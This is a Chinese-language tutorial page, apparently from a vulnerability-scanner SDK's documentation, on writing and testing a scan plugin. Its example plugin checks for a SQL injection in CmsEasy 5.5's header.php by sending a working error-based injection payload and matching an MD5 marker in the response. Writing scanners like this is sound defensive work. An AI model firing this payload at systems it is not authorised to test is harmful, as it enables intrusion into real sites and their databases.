• 编写插件
    • 1. 编写
    • 2. 测试

    编写插件

    1. 编写

    开发者在本地编写插件代码，以下为 CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞 的扫描插件。

    1. #!/usr/bin/env python
    2. # -*- coding: utf-8 -*-
    3. # __author__ = 'Medici.Yan'
    4. # 引入需要用到的标准库
    5. import urllib
    7. # assign 验证任务的指纹
    8. def assign(service, arg):
    9.     if service == fingerprint.cmseasy: # 指纹为 cmseasy
    10.         return True, arg  # 返回类型为 tuple
    12. # audit 审计函数，通过指纹验证后调用该函数
    13. def audit(arg):
    14.     # 此插件中 arg 为提交的网址
    15.     # 构造要提交数据的目标 URL
    16.     target = arg + '/celive/live/header.php'
    17.     # 此漏洞要发送的 POST 数据(Payload)
    18.     post_data = {
    19.         'xajax': 'LiveMessage',
    20.         'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
    21.                               "floor(rand(0)*2),(select md5(233)))a from "
    22.                               "information_schema.tables group by a)b),"
    23.                               "'','','','1','127.0.0.1','2') #"
    24.     }
    25.     # 通过 hackhttp 发送 Payload 到目标
    26.     code, head, body, redirect_url, log = hackhttp.http(
    27.         target, post=urllib.urlencode(post_data))
    28.     # 验证是否存在漏洞
    29.     if 'e165421110ba03099a1c0393373c5b43' in body:
    30.         # 存在漏洞则输出目标 URL
    31.         security_hole(target, log=log)
    33. # 本地测试时需要加 main 用于调用
    34. if __name__ == '__main__':
    35.     # 导入 sdk
    36.     from dummy import *
    37.     # 调用 audit 与 assign
    38.     audit(assign(fingerprint.cmseasy, 'http://localhost/cmseasy/')[1])

    读者暂时无需关注插件编写具体内容，我们会在后面的章节中详细讲解如何编写。

    2. 测试

    将编写好的插件保存，例如文件名叫 demo.py, 直接在终端下运行该文件。如果存在漏洞，则会终端上会有 [LOG] 信息输出。